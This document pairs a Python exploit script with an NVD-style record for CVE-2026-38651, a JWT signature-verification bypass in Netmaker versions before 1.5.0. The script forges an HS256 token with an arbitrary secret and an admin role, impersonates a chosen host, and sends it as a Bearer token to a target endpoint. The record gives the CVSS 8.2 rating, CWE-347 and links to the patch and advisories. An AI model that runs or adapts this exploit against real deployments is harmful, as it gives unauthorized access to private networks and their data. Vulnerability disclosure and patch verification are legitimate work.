CVE-2026-38651

import jwt import requests # Exploit for CVE-2026-38651: Netmaker JWT Signature Bypass # The server fails to verify the signature, so we can use any secret. target_url = "http://target-netmaker-url/api/v1/endpoint" # Example endpoint # Payload to impersonate a specific host/network node # Modify these values based on the target host you wish to impersonate payload = { "id": "target_host_id", # The ID of the host to impersonate "network": "target_network", "role": "admin" } # Generate token with a dummy secret (signature verification is skipped) fake_secret = "any_arbitrary_key" token = jwt.encode(payload, fake_secret, algorithm="HS256") headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Send request to bypass authentication try: response = requests.get(target_url, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-38651", "sourceIdentifier": "[email protected]", "published": "2026-04-28T16:16:13.443", "lastModified": "2026-05-18T16:41:10.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass vulnerability exists in Netmaker versions prior to 1.5.0. The VerifyHostToken function in logic/jwts.go fails to validate the JWT signature when verifying host tokens. An attacker can forge a JWT signed with any arbitrary key and use it to impersonate any host in the network, gaining access to sensitive information"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netmaker:netmaker:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.0", "matchCriteriaId": "B8374AB6-A9C4-41F7-955E-65C91564EFA6"}]}]}], "references": [{"url": "https://github.com/gravitl/netmaker/commit/5309aa70d464ef565911369714d661a61481a79b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zyenra.com/advisories/netmaker-jwt-verification-bypass", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zyenra.com/blog/netmaker-jwt-verification-bypass", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zyenra.com/advisories/netmaker-jwt-verification-bypass/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zyenra.com/blog/netmaker-jwt-verification-bypass", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}